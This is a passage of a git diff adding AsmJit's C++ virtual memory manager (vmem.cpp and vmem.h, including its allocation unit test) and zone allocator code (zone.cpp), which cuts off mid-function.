} + } + + // Replace and remove. + ASMJIT_ASSERT(f != nullptr); + ASMJIT_ASSERT(f != &head); + ASMJIT_ASSERT(q != &head); + + if (f != q) { + ASMJIT_ASSERT(f != &head); + static_cast(f)->init(static_cast(q)); + } + + p->node[p->node[1] == q] = q->node[q->node[0] == nullptr]; + + // Update root and make it black. + self->_root = static_cast(head.node[1]); + if (self->_root) self->_root->red = 0; + + // Unlink. + MemNode* next = static_cast(q)->next; + MemNode* prev = static_cast(q)->prev; + + if (prev) + prev->next = next; + else + self->_first = next; + + if (next) + next->prev = prev; + else + self->_last = prev; + + if (self->_optimal == q) + self->_optimal = prev ? prev : next; + + return static_cast(q); +} + +static MemNode* vMemMgrFindNodeByPtr(VMemMgr* self, uint8_t* mem) noexcept { + MemNode* node = self->_root; + while (node) { + uint8_t* nodeMem = node->mem; + + // Go left. + if (mem < nodeMem) { + node = static_cast(node->node[0]); + continue; + } + + // Go right. + uint8_t* nodeEnd = nodeMem + node->size; + if (mem >= nodeEnd) { + node = static_cast(node->node[1]); + continue; + } + + // Match. + break; + } + return node; +} + +static void* vMemMgrAllocPermanent(VMemMgr* self, size_t vSize) noexcept { + static const size_t permanentAlignment = 32; + static const size_t permanentNodeSize = 32768; + + vSize = Utils::alignTo(vSize, permanentAlignment); + + AutoLock locked(self->_lock); + PermanentNode* node = self->_permanent; + + // Try to find space in allocated chunks. + while (node && vSize > node->getAvailable()) + node = node->prev; + + // Or allocate new node. + if (!node) { + size_t nodeSize = permanentNodeSize; + if (nodeSize < vSize) nodeSize = vSize; + + node = static_cast(Internal::allocMemory(sizeof(PermanentNode))); + if (!node) return nullptr; + + node->mem = vMemMgrAllocVMem(self, nodeSize, &node->size); + if (!node->mem) { + Internal::releaseMemory(node); + return nullptr; + } + + node->used = 0; + node->prev = self->_permanent; + self->_permanent = node; + } + + // Finally, copy function code to our space we reserved for. + uint8_t* result = node->mem + node->used; + + // Update Statistics. + node->used += vSize; + self->_usedBytes += vSize; + + // Code can be null to only reserve space for code. + return static_cast(result); +} + +static void* vMemMgrAllocFreeable(VMemMgr* self, size_t vSize) noexcept { + // Current index. + size_t i; + + // How many we need to be freed. + size_t need; + size_t minVSize; + + // Align to 32 bytes by default. + vSize = Utils::alignTo(vSize, 32); + if (vSize == 0) + return nullptr; + + AutoLock locked(self->_lock); + MemNode* node = self->_optimal; + minVSize = self->_blockSize; + + // Try to find memory block in existing nodes. + while (node) { + // Skip this node? + if ((node->getAvailable() < vSize) || (node->largestBlock < vSize && node->largestBlock != 0)) { + MemNode* next = node->next; + + if (node->getAvailable() < minVSize && node == self->_optimal && next) + self->_optimal = next; + + node = next; + continue; + } + + size_t* up = node->baUsed; // Current ubits address. + size_t ubits; // Current ubits[0] value. + size_t bit; // Current bit mask. + size_t blocks = node->blocks; // Count of blocks in node. + size_t cont = 0; // How many bits are currently freed in find loop. + size_t maxCont = 0; // Largest continuous block (bits count). + size_t j; + + need = M_DIV((vSize + node->density - 1), node->density); + i = 0; + + // Try to find node that is large enough. + while (i < blocks) { + ubits = *up++; + + // Fast skip used blocks. + if (ubits == ~(size_t)0) { + if (cont > maxCont) + maxCont = cont; + cont = 0; + + i += kBitsPerEntity; + continue; + } + + size_t max = kBitsPerEntity; + if (i + max > blocks) + max = blocks - i; + + for (j = 0, bit = 1; j < max; bit <<= 1) { + j++; + if ((ubits & bit) == 0) { + if (++cont == need) { + i += j; + i -= cont; + goto L_Found; + } + + continue; + } + + if (cont > maxCont) maxCont = cont; + cont = 0; + } + + i += kBitsPerEntity; + } + + // Because we traversed the entire node, we can set largest node size that + // will be used to cache next traversing. + node->largestBlock = maxCont * node->density; + + node = node->next; + } + + // If we are here, we failed to find existing memory block and we must + // allocate a new one. + { + size_t blockSize = self->_blockSize; + if (blockSize < vSize) blockSize = vSize; + + node = vMemMgrCreateNode(self, blockSize, self->_blockDensity); + if (!node) return nullptr; + + // Update binary tree. + vMemMgrInsertNode(self, node); + ASMJIT_ASSERT(vMemMgrCheckTree(self)); + + // Alloc first node at start. + i = 0; + need = (vSize + node->density - 1) / node->density; + + // Update statistics. + self->_allocatedBytes += node->size; + } + +L_Found: + // Update bits. + _SetBits(node->baUsed, i, need); + _SetBits(node->baCont, i, need - 1); + + // Update statistics. + { + size_t u = need * node->density; + node->used += u; + node->largestBlock = 0; + self->_usedBytes += u; + } + + // And return pointer to allocated memory. + uint8_t* result = node->mem + i * node->density; + ASMJIT_ASSERT(result >= node->mem && result <= node->mem + node->size - vSize); + return result; +} + +//! \internal +//! +//! Reset the whole `VMemMgr` instance, freeing all heap memory allocated an +//! virtual memory allocated unless `keepVirtualMemory` is true (and this is +//! only used when writing data to a remote process). +static void vMemMgrReset(VMemMgr* self, bool keepVirtualMemory) noexcept { + MemNode* node = self->_first; + + while (node) { + MemNode* next = node->next; + + if (!keepVirtualMemory) + vMemMgrReleaseVMem(self, node->mem, node->size); + + Internal::releaseMemory(node->baUsed); + Internal::releaseMemory(node); + + node = next; + } + + self->_allocatedBytes = 0; + self->_usedBytes = 0; + + self->_root = nullptr; + self->_first = nullptr; + self->_last = nullptr; + self->_optimal = nullptr; +} + +// ============================================================================ +// [asmjit::VMemMgr - Construction / Destruction] +// ============================================================================ + +#if !ASMJIT_OS_WINDOWS +VMemMgr::VMemMgr() noexcept { +#else +VMemMgr::VMemMgr(HANDLE hProcess) noexcept { +#endif + + VMemInfo vm = OSUtils::getVirtualMemoryInfo(); + +#if ASMJIT_OS_WINDOWS + _hProcess = hProcess ? hProcess : vm.hCurrentProcess; +#endif // ASMJIT_OS_WINDOWS + + _blockSize = vm.pageGranularity; + _blockDensity = 64; + + _allocatedBytes = 0; + _usedBytes = 0; + + _root = nullptr; + _first = nullptr; + _last = nullptr; + _optimal = nullptr; + + _permanent = nullptr; + _keepVirtualMemory = false; +} + +VMemMgr::~VMemMgr() noexcept { + // Freeable memory cleanup - Also frees the virtual memory if configured to. + vMemMgrReset(this, _keepVirtualMemory); + + // Permanent memory cleanup - Never frees the virtual memory. + PermanentNode* node = _permanent; + while (node) { + PermanentNode* prev = node->prev; + Internal::releaseMemory(node); + node = prev; + } +} + +// ============================================================================ +// [asmjit::VMemMgr - Reset] +// ============================================================================ + +void VMemMgr::reset() noexcept { + vMemMgrReset(this, false); +} + +// ============================================================================ +// [asmjit::VMemMgr - Alloc / Release] +// ============================================================================ + +void* VMemMgr::alloc(size_t size, uint32_t type) noexcept { + if (type == kAllocPermanent) + return vMemMgrAllocPermanent(this, size); + else + return vMemMgrAllocFreeable(this, size); +} + +Error VMemMgr::release(void* p) noexcept { + if (!p) return kErrorOk; + + AutoLock locked(_lock); + MemNode* node = vMemMgrFindNodeByPtr(this, static_cast(p)); + if (!node) return DebugUtils::errored(kErrorInvalidArgument); + + size_t offset = (size_t)((uint8_t*)p - (uint8_t*)node->mem); + size_t bitpos = M_DIV(offset, node->density); + size_t i = (bitpos / kBitsPerEntity); + + size_t* up = node->baUsed + i; // Current ubits address. + size_t* cp = node->baCont + i; // Current cbits address. + size_t ubits = *up; // Current ubits[0] value. + size_t cbits = *cp; // Current cbits[0] value. + size_t bit = (size_t)1 << (bitpos % kBitsPerEntity); + + size_t cont = 0; + bool stop; + + for (;;) { + stop = (cbits & bit) == 0; + ubits &= ~bit; + cbits &= ~bit; + + bit <<= 1; + cont++; + + if (stop || bit == 0) { + *up = ubits; + *cp = cbits; + if (stop) + break; + + ubits = *++up; + cbits = *++cp; + bit = 1; + } + } + + // If the freed block is fully allocated node then it's needed to + // update 'optimal' pointer in memory manager. + if (node->used == node->size) { + MemNode* cur = _optimal; + + do { + cur = cur->prev; + if (cur == node) { + _optimal = node; + break; + } + } while (cur); + } + + // Statistics. + cont *= node->density; + if (node->largestBlock < cont) + node->largestBlock = cont; + + node->used -= cont; + _usedBytes -= cont; + + // If page is empty, we can free it. + if (node->used == 0) { + // Free memory associated with node (this memory is not accessed + // anymore so it's safe). + vMemMgrReleaseVMem(this, node->mem, node->size); + Internal::releaseMemory(node->baUsed); + + node->baUsed = nullptr; + node->baCont = nullptr; + + // Statistics. + _allocatedBytes -= node->size; + + // Remove node. This function can return different node than + // passed into, but data is copied into previous node if needed. + Internal::releaseMemory(vMemMgrRemoveNode(this, node)); + ASMJIT_ASSERT(vMemMgrCheckTree(this)); + } + + return kErrorOk; +} + +Error VMemMgr::shrink(void* p, size_t used) noexcept { + if (!p) return kErrorOk; + if (used == 0) + return release(p); + + AutoLock locked(_lock); + MemNode* node = vMemMgrFindNodeByPtr(this, (uint8_t*)p); + if (!node) return DebugUtils::errored(kErrorInvalidArgument); + + size_t offset = (size_t)((uint8_t*)p - (uint8_t*)node->mem); + size_t bitpos = M_DIV(offset, node->density); + size_t i = (bitpos / kBitsPerEntity); + + size_t* up = node->baUsed + i; // Current ubits address. + size_t* cp = node->baCont + i; // Current cbits address. + size_t ubits = *up; // Current ubits[0] value. + size_t cbits = *cp; // Current cbits[0] value. + size_t bit = (size_t)1 << (bitpos % kBitsPerEntity); + + size_t cont = 0; + size_t usedBlocks = (used + node->density - 1) / node->density; + + bool stop; + + // Find the first block we can mark as free. + for (;;) { + stop = (cbits & bit) == 0; + if (stop) + return kErrorOk; + + if (++cont == usedBlocks) + break; + + bit <<= 1; + if (bit == 0) { + ubits = *++up; + cbits = *++cp; + bit = 1; + } + } + + // Free the tail blocks. + cont = ~(size_t)0; + goto _EnterFreeLoop; + + for (;;) { + stop = (cbits & bit) == 0; + ubits &= ~bit; + +_EnterFreeLoop: + cbits &= ~bit; + + bit <<= 1; + cont++; + + if (stop || bit == 0) { + *up = ubits; + *cp = cbits; + if (stop) + break; + + ubits = *++up; + cbits = *++cp; + bit = 1; + } + } + + // Statistics. + cont *= node->density; + if (node->largestBlock < cont) + node->largestBlock = cont; + + node->used -= cont; + _usedBytes -= cont; + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::VMem - Test] +// ============================================================================ + +#if defined(ASMJIT_TEST) +static void VMemTest_fill(void* a, void* b, int i) noexcept { + int pattern = rand() % 256; + *(int *)a = i; + *(int *)b = i; + ::memset((char*)a + sizeof(int), pattern, i - sizeof(int)); + ::memset((char*)b + sizeof(int), pattern, i - sizeof(int)); +} + +static void VMemTest_verify(void* a, void* b) noexcept { + int ai = *(int*)a; + int bi = *(int*)b; + + EXPECT(ai == bi, + "The length of 'a' (%d) and 'b' (%d) should be same", ai, bi); + + EXPECT(::memcmp(a, b, ai) == 0, + "Pattern (%p) doesn't match", a); +} + +static void VMemTest_stats(VMemMgr& memmgr) noexcept { + INFO("Used : %u", static_cast(memmgr.getUsedBytes())); + INFO("Allocated: %u", static_cast(memmgr.getAllocatedBytes())); +} + +static void VMemTest_shuffle(void** a, void** b, size_t count) noexcept { + for (size_t i = 0; i < count; ++i) { + size_t si = (size_t)rand() % count; + + void* ta = a[i]; + void* tb = b[i]; + + a[i] = a[si]; + b[i] = b[si]; + + a[si] = ta; + b[si] = tb; + } +} + +UNIT(base_vmem) { + VMemMgr memmgr; + + // Should be predictible. + srand(100); + + int i; + int kCount = 200000; + + INFO("Memory alloc/free test - %d allocations", static_cast(kCount)); + + void** a = (void**)Internal::allocMemory(sizeof(void*) * kCount); + void** b = (void**)Internal::allocMemory(sizeof(void*) * kCount); + + EXPECT(a != nullptr && b != nullptr, + "Couldn't allocate %u bytes on heap", kCount * 2); + + INFO("Allocating virtual memory..."); + for (i = 0; i < kCount; i++) { + int r = (rand() % 1000) + 4; + + a[i] = memmgr.alloc(r); + EXPECT(a[i] != nullptr, + "Couldn't allocate %d bytes of virtual memory", r); + ::memset(a[i], 0, r); + } + VMemTest_stats(memmgr); + + INFO("Freeing virtual memory..."); + for (i = 0; i < kCount; i++) { + EXPECT(memmgr.release(a[i]) == kErrorOk, + "Failed to free %p", b[i]); + } + VMemTest_stats(memmgr); + + INFO("Verified alloc/free test - %d allocations", static_cast(kCount)); + for (i = 0; i < kCount; i++) { + int r = (rand() % 1000) + 4; + + a[i] = memmgr.alloc(r); + EXPECT(a[i] != nullptr, + "Couldn't allocate %d bytes of virtual memory", r); + + b[i] = Internal::allocMemory(r); + EXPECT(b[i] != nullptr, + "Couldn't allocate %d bytes on heap", r); + + VMemTest_fill(a[i], b[i], r); + } + VMemTest_stats(memmgr); + + INFO("Shuffling..."); + VMemTest_shuffle(a, b, kCount); + + INFO("Verify and free..."); + for (i = 0; i < kCount / 2; i++) { + VMemTest_verify(a[i], b[i]); + EXPECT(memmgr.release(a[i]) == kErrorOk, + "Failed to free %p", a[i]); + Internal::releaseMemory(b[i]); + } + VMemTest_stats(memmgr); + + INFO("Alloc again"); + for (i = 0; i < kCount / 2; i++) { + int r = (rand() % 1000) + 4; + + a[i] = memmgr.alloc(r); + EXPECT(a[i] != nullptr, + "Couldn't allocate %d bytes of virtual memory", r); + + b[i] = Internal::allocMemory(r); + EXPECT(b[i] != nullptr, + "Couldn't allocate %d bytes on heap"); + + VMemTest_fill(a[i], b[i], r); + } + VMemTest_stats(memmgr); + + INFO("Verify and free..."); + for (i = 0; i < kCount; i++) { + VMemTest_verify(a[i], b[i]); + EXPECT(memmgr.release(a[i]) == kErrorOk, + "Failed to free %p", a[i]); + Internal::releaseMemory(b[i]); + } + VMemTest_stats(memmgr); + + Internal::releaseMemory(a); + Internal::releaseMemory(b); +} +#endif // ASMJIT_TEST + +} // asmjit namespace diff --git a/asmjit/src/asmjit/base/vmem.h b/asmjit/src/asmjit/base/vmem.h new file mode 100644 index 0000000..6a1a513 --- /dev/null +++ b/asmjit/src/asmjit/base/vmem.h @@ -0,0 +1,154 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_VMEM_H +#define _ASMJIT_BASE_VMEM_H + +// [Dependencies] +#include "../base/globals.h" +#include "../base/osutils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::VMemMgr] +// ============================================================================ + +//! Reference implementation of memory manager that uses `VMemUtil` to allocate +//! chunks of virtual memory and bit arrays to manage it. +class VMemMgr { +public: + //! Type of virtual memory allocation, see `VMemMgr::alloc()`. + ASMJIT_ENUM(AllocType) { + //! Normal memory allocation, has to be freed by `VMemMgr::release()`. + kAllocFreeable = 0, + //! Allocate permanent memory, can't be freed. + kAllocPermanent = 1 + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + +#if !ASMJIT_OS_WINDOWS + //! Create a `VMemMgr` instance. + ASMJIT_API VMemMgr() noexcept; +#else + //! Create a `VMemMgr` instance. + //! + //! NOTE: When running on Windows it's possible to specify a `hProcess` to + //! be used for memory allocation. Using `hProcess` allows to allocate memory + //! of a remote process. + ASMJIT_API VMemMgr(HANDLE hProcess = static_cast(0)) noexcept; +#endif // ASMJIT_OS_WINDOWS + + //! Destroy the `VMemMgr` instance and free all blocks. + ASMJIT_API ~VMemMgr() noexcept; + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + //! Free all allocated memory. + ASMJIT_API void reset() noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + +#if ASMJIT_OS_WINDOWS + //! Get the handle of the process memory manager is bound to. + ASMJIT_INLINE HANDLE getProcessHandle() const noexcept { return _hProcess; } +#endif // ASMJIT_OS_WINDOWS + + //! Get how many bytes are currently allocated. + ASMJIT_INLINE size_t getAllocatedBytes() const noexcept { return _allocatedBytes; } + //! Get how many bytes are currently used. + ASMJIT_INLINE size_t getUsedBytes() const noexcept { return _usedBytes; } + + //! Get whether to keep allocated memory after the `VMemMgr` is destroyed. + //! + //! \sa \ref setKeepVirtualMemory. + ASMJIT_INLINE bool getKeepVirtualMemory() const noexcept { return _keepVirtualMemory; } + //! Set whether to keep allocated memory after the memory manager is destroyed. + //! + //! This method is usable when patching code of remote process. You need to + //! allocate process memory, store generated assembler into it and patch the + //! method you want to redirect (into your code). This method affects only + //! VMemMgr destructor. After destruction all internal + //! structures are freed, only the process virtual memory remains. + //! + //! NOTE: Memory allocated with kAllocPermanent is always kept. + //! + //! \sa \ref getKeepVirtualMemory. + ASMJIT_INLINE void setKeepVirtualMemory(bool val) noexcept { _keepVirtualMemory = val; } + + // -------------------------------------------------------------------------- + // [Alloc / Release] + // -------------------------------------------------------------------------- + + //! Allocate a `size` bytes of virtual memory. + //! + //! Note that if you are implementing your own virtual memory manager then you + //! can quitly ignore type of allocation. This is mainly for AsmJit to memory + //! manager that allocated memory will be never freed. + ASMJIT_API void* alloc(size_t size, uint32_t type = kAllocFreeable) noexcept; + //! Free previously allocated memory at a given `address`. + ASMJIT_API Error release(void* p) noexcept; + //! Free extra memory allocated with `p`. + ASMJIT_API Error shrink(void* p, size_t used) noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + +#if ASMJIT_OS_WINDOWS + HANDLE _hProcess; //!< Process passed to `VirtualAllocEx` and `VirtualFree`. +#endif // ASMJIT_OS_WINDOWS + Lock _lock; //!< Lock to enable thread-safe functionality. + + size_t _blockSize; //!< Default block size. + size_t _blockDensity; //!< Default block density. + bool _keepVirtualMemory; //!< Keep virtual memory after destroyed. + + size_t _allocatedBytes; //!< How many bytes are currently allocated. + size_t _usedBytes; //!< How many bytes are currently used. + + //! \internal + //! \{ + + struct RbNode; + struct MemNode; + struct PermanentNode; + + // Memory nodes root. + MemNode* _root; + // Memory nodes list. + MemNode* _first; + MemNode* _last; + MemNode* _optimal; + // Permanent memory. + PermanentNode* _permanent; + + //! \} +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_VMEM_H diff --git a/asmjit/src/asmjit/base/zone.cpp b/asmjit/src/asmjit/base/zone.cpp new file mode 100644 index 0000000..6dd535d --- /dev/null +++ b/asmjit/src/asmjit/base/zone.cpp @@ -0,0 +1,962 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/utils.h" +#include "../base/zone.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! Zero size block used by `Zone` that doesn't have any memory allocated. +static const Zone::Block Zone_zeroBlock = { nullptr, nullptr, 0, { 0 } }; + +static ASMJIT_INLINE uint32_t Zone_getAlignmentOffsetFromAlignment(uint32_t x) noexcept { + switch (x) { + default: return 0; + case 0 : return 0; + case 1 : return 0; + case 2 : return 1; + case 4 : return 2; + case 8 : return 3; + case 16: return 4; + case 32: return 5; + case 64: return 6; + } +} + +// ============================================================================ +// [asmjit::Zone - Construction / Destruction] +// ============================================================================ + +Zone::Zone(uint32_t blockSize, uint32_t blockAlignment) noexcept + : _ptr(nullptr), + _end(nullptr), + _block(const_cast(&Zone_zeroBlock)), + _blockSize(blockSize), + _blockAlignmentShift(Zone_getAlignmentOffsetFromAlignment(blockAlignment)) {} + +Zone::~Zone() noexcept { + reset(true); +} + +// ============================================================================ +// [asmjit::Zone - Reset] +// ============================================================================ + +void Zone::reset(bool releaseMemory) noexcept { + Block* cur = _block; + + // Can't be altered. + if (cur == &Zone_zeroBlock) + return; + + if (releaseMemory) { + // Since cur can be in the middle of the double-linked list, we have to + // traverse to both directions `prev` and `next` separately. + Block* next = cur->next; + do { + Block* prev = cur->prev; + Internal::releaseMemory(cur); + cur = prev; + } while (cur); + + cur = next; + while (cur) { + next = cur->next; + Internal::releaseMemory(cur); + cur = next; + } + + _ptr = nullptr; + _end = nullptr; + _block = const_cast(&Zone_zeroBlock); + } + else { + while (cur->prev) + cur = cur->prev; + + _ptr = cur->data; + _end = _ptr + cur->size; + _block = cur; + } +} + +// ============================================================================ +// [asmjit::Zone - Alloc] +// ============================================================================ + +void* Zone::_alloc(size_t size) noexcept { + Block* curBlock = _block; + uint8_t* p; + + size_t blockSize = std::max(_blockSize, size); + size_t blockAlignment = getBlockAlignment(); + + // The `_alloc()` method can only be called if there is not enough space + // in the current block, see `alloc()` implementation for more details. + ASMJIT_ASSERT(curBlock == &Zone_zeroBlock || getRemainingSize() < size); + + // If the `Zone` has been cleared the current block doesn't have to be the + // last one. Check if there is a block that can be used instead of allocating + // a new one. If there is a `next` block it's completely unused, we don't have + // to check for remaining bytes. + Block* next = curBlock->next; + if (next && next->size >= size) { + p = Utils::alignTo(next->data, blockAlignment); + + _block = next; + _ptr = p + size; + _end = next->data + next->size; + + return static_cast(p); + } + + // Prevent arithmetic overflow. + if (ASMJIT_UNLIKELY(blockSize > (~static_cast(0) - sizeof(Block) - blockAlignment))) + return nullptr; + + blockSize += blockAlignment; + Block* newBlock = static_cast(Internal::allocMemory(sizeof(Block) + blockSize)); + + if (ASMJIT_UNLIKELY(!newBlock)) + return nullptr; + + // Align the pointer to `blockAlignment` and adjust the size of this block + // accordingly. It's the same as using `blockAlignment - Utils::alignDiff()`, + // just written differently. + p = Utils::alignTo(newBlock->data, blockAlignment); + newBlock->prev = nullptr; + newBlock->next = nullptr; + newBlock->size = blockSize; + + if (curBlock != &Zone_zeroBlock) { + newBlock->prev = curBlock; + curBlock->next = newBlock; + + // Does only happen if there is a next block, but the requested memory + // can't fit into it. In this case a new buffer is allocated and inserted + // between the current block and the next one. + if (next) { + newBlock->next = next; + next->prev = newBlock; + } + } + + _block = newBlock; + _ptr = p + size; + _end = newBlock->data + blockSize; + + return static_cast(p); +} + +void* Zone::allocZeroed(size_t size) noexcept { + void* p = alloc(size); + if (ASMJIT_UNLIKELY(!p)) return p; + return ::memset(p, 0, size); +} + +void* Zone::dup(const void* data, size_t size, bool nullTerminate) noexcept { + if (ASMJIT_UNLIKELY(!data || !size)) return nullptr; + + ASMJIT_ASSERT(size != IntTraits::maxValue()); + uint8_t* m = allocT(size + nullTerminate); + if (ASMJIT_UNLIKELY(!m)) return nullptr; + + ::memcpy(m, data, size); + if (nullTerminate) m[size] = '\0'; + + return static_cast(m); +} + +char* Zone::sformat(const char* fmt, ...) noexcept { + if (ASMJIT_UNLIKELY(!fmt)) return nullptr; + + char buf[512]; + size_t len; + + va_list ap; + va_start(ap, fmt); + + len = vsnprintf(buf, ASMJIT_ARRAY_SIZE(buf) - 1, fmt, ap); + buf[len++] = 0; + + va_end(ap); + return static_cast(dup(buf, len)); +} + +// ============================================================================ +// [asmjit::ZoneHeap - Helpers] +// ============================================================================ + +static bool ZoneHeap_hasDynamicBlock(ZoneHeap* self, ZoneHeap::DynamicBlock* block) noexcept { + ZoneHeap::DynamicBlock* cur = self->_dynamicBlocks; + while (cur) { + if (cur == block) + return true; + cur = cur->next; + } + return false; +} + +// ============================================================================ +// [asmjit::ZoneHeap - Init / Reset] +// ============================================================================ + +void ZoneHeap::reset(Zone* zone) noexcept { + // Free dynamic blocks. + DynamicBlock* block = _dynamicBlocks; + while (block) { + DynamicBlock* next = block->next; + Internal::releaseMemory(block); + block = next; + } + + // Zero the entire class and initialize to the given `zone`. + ::memset(this, 0, sizeof(*this)); + _zone = zone; +} + +// ============================================================================ +// [asmjit::ZoneHeap - Alloc / Release] +// ============================================================================ + +void* ZoneHeap::_alloc(size_t size, size_t& allocatedSize) noexcept { + ASMJIT_ASSERT(isInitialized()); + + // We use our memory pool only if the requested block is of a reasonable size. + uint32_t slot; + if (_getSlotIndex(size, slot, allocatedSize)) { + // Slot reuse. + uint8_t* p = reinterpret_cast(_slots[slot]); + size = allocatedSize; + + if (p) { + _slots[slot] = reinterpret_cast(p)->next; + //printf("ALLOCATED %p of size %d (SLOT %d)\n", p, int(size), slot); + return p; + } + + // So use Zone to allocate a new chunk for us. But before we use it, we + // check if there is enough room for the new chunk in zone, and if not, + // we redistribute the remaining memory in Zone's current block into slots. + Zone* zone = _zone; + p = Utils::alignTo(zone->getCursor(), kBlockAlignment); + size_t remain = (p <= zone->getEnd()) ? (size_t)(zone->getEnd() - p) : size_t(0); + + if (ASMJIT_LIKELY(remain >= size)) { + zone->setCursor(p + size); + //printf("ALLOCATED %p of size %d (SLOT %d)\n", p, int(size), slot); + return p; + } + else { + // Distribute the remaining memory to suitable slots. + if (remain >= kLoGranularity) { + do { + size_t distSize = std::min(remain, kLoMaxSize); + uint32_t distSlot = static_cast((distSize - kLoGranularity) / kLoGranularity); + ASMJIT_ASSERT(distSlot < kLoCount); + + reinterpret_cast(p)->next = _slots[distSlot]; + _slots[distSlot] = reinterpret_cast(p); + + p += distSize; + remain -= distSize; + } while (remain >= kLoGranularity); + zone->setCursor(p); + } + + p = static_cast(zone->_alloc(size)); + if (ASMJIT_UNLIKELY(!p)) { + allocatedSize = 0; + return nullptr; + } + + //printf("ALLOCATED %p of size %d (SLOT %d)\n", p, int(size), slot); + return p; + } + } + else { + // Allocate a dynamic block. + size_t overhead = sizeof(DynamicBlock) + sizeof(DynamicBlock*) + kBlockAlignment; + + // Handle a possible overflow. + if (ASMJIT_UNLIKELY(overhead >= ~static_cast(0) - size)) + return nullptr; + + void* p = Internal::allocMemory(size + overhead); + if (ASMJIT_UNLIKELY(!p)) { + allocatedSize = 0; + return nullptr; + } + + // Link as first in `_dynamicBlocks` double-linked list. + DynamicBlock* block = static_cast(p); + DynamicBlock* next = _dynamicBlocks; + + if (next) + next->prev = block; + + block->prev = nullptr; + block->next = next; + _dynamicBlocks = block; + + // Align the pointer to the guaranteed alignment and store `DynamicBlock` + // at the end of the memory block, so `_releaseDynamic()` can find it. + p = Utils::alignTo(static_cast(p) + sizeof(DynamicBlock) + sizeof(DynamicBlock*), kBlockAlignment); + reinterpret_cast(p)[-1] = block; + + allocatedSize = size; + //printf("ALLOCATED DYNAMIC %p of size %d\n", p, int(size)); + return p; + } +} + +void* ZoneHeap::_allocZeroed(size_t size, size_t& allocatedSize) noexcept { + ASMJIT_ASSERT(isInitialized()); + + void* p = _alloc(size, allocatedSize); + if (ASMJIT_UNLIKELY(!p)) return p; + return ::memset(p, 0, allocatedSize); +} + +void ZoneHeap::_releaseDynamic(void* p, size_t size) noexcept { + ASMJIT_ASSERT(isInitialized()); + //printf("RELEASING DYNAMIC %p of size %d\n", p, int(size)); + + // Pointer to `DynamicBlock` is stored at [-1]. + DynamicBlock* block = reinterpret_cast(p)[-1]; + ASMJIT_ASSERT(ZoneHeap_hasDynamicBlock(this, block)); + + // Unlink and free. + DynamicBlock* prev = block->prev; + DynamicBlock* next = block->next; + + if (prev) + prev->next = next; + else + _dynamicBlocks = next; + + if (next) + next->prev = prev; + + Internal::releaseMemory(block); +} + +// ============================================================================ +// [asmjit::ZoneVectorBase - Helpers] +// ============================================================================ + +Error ZoneVectorBase::_grow(ZoneHeap* heap, size_t sizeOfT, size_t n) noexcept { + size_t threshold = Globals::kAllocThreshold / sizeOfT; + size_t capacity = _capacity; + size_t after = _length; + + if (ASMJIT_UNLIKELY(IntTraits::maxValue() - n < after)) + return DebugUtils::errored(kErrorNoHeapMemory); + + after += n; + if (capacity >= after) + return kErrorOk; + + // ZoneVector is used as an array to hold short-lived data structures used + // during code generation. The growing strategy is simple - use small capacity + // at the beginning (very good for ZoneHeap) and then grow quicker to prevent + // successive reallocations. + if (capacity < 4) + capacity = 4; + else if (capacity < 8) + capacity = 8; + else if (capacity < 16) + capacity = 16; + else if (capacity < 64) + capacity = 64; + else if (capacity < 256) + capacity = 256; + + while (capacity < after) { + if (capacity < threshold) + capacity *= 2; + else + capacity += threshold; + } + + return _reserve(heap, sizeOfT, capacity); +} + +Error ZoneVectorBase::_reserve(ZoneHeap* heap, size_t sizeOfT, size_t n) noexcept { + size_t oldCapacity = _capacity; + if (oldCapacity >= n) return kErrorOk; + + size_t nBytes = n * sizeOfT; + if (ASMJIT_UNLIKELY(nBytes < n)) + return DebugUtils::errored(kErrorNoHeapMemory); + + size_t allocatedBytes; + uint8_t* newData = static_cast(heap->alloc(nBytes, allocatedBytes)); + + if (ASMJIT_UNLIKELY(!newData)) + return DebugUtils::errored(kErrorNoHeapMemory); + + void* oldData = _data; + if (_length) + ::memcpy(newData, oldData, _length * sizeOfT); + + if (oldData) + heap->release(oldData, oldCapacity * sizeOfT); + + _capacity = allocatedBytes / sizeOfT; + ASMJIT_ASSERT(_capacity >= n); + + _data = newData; + return kErrorOk; +} + +Error ZoneVectorBase::_resize(ZoneHeap* heap, size_t sizeOfT, size_t n) noexcept { + size_t length = _length; + if (_capacity < n) { + ASMJIT_PROPAGATE(_grow(heap, sizeOfT, n - length)); + ASMJIT_ASSERT(_capacity >= n); + } + + if (length < n) + ::memset(static_cast(_data) + length * sizeOfT, 0, (n - length) * sizeOfT); + + _length = n; + return kErrorOk; +} + +// ============================================================================ +// [asmjit::ZoneBitVector - Ops] +// ============================================================================ + +Error ZoneBitVector::_resize(ZoneHeap* heap, size_t newLength, size_t idealCapacity, bool newBitsValue) noexcept { + ASMJIT_ASSERT(idealCapacity >= newLength); + + if (newLength <= _length) { + // The size after the resize is lesser than or equal to the current length. + size_t idx = newLength / kBitsPerWord; + size_t bit = newLength % kBitsPerWord; + + // Just set all bits outside of the new length in the last word to zero. + // There is a case that there are not bits to set if `bit` is zero. This + // happens when `newLength` is a multiply of `kBitsPerWord` like 64, 128, + // and so on. In that case don't change anything as that would mean settings + // bits outside of the `_length`. + if (bit) + _data[idx] &= (static_cast(1) << bit) - 1U; + + _length = newLength; + return kErrorOk; + } + + size_t oldLength = _length; + BitWord* data = _data; + + if (newLength > _capacity) { + // Realloc needed... Calculate the minimum capacity (in bytes) requied. + size_t minimumCapacityInBits = Utils::alignTo(idealCapacity, kBitsPerWord); + size_t allocatedCapacity; + + if 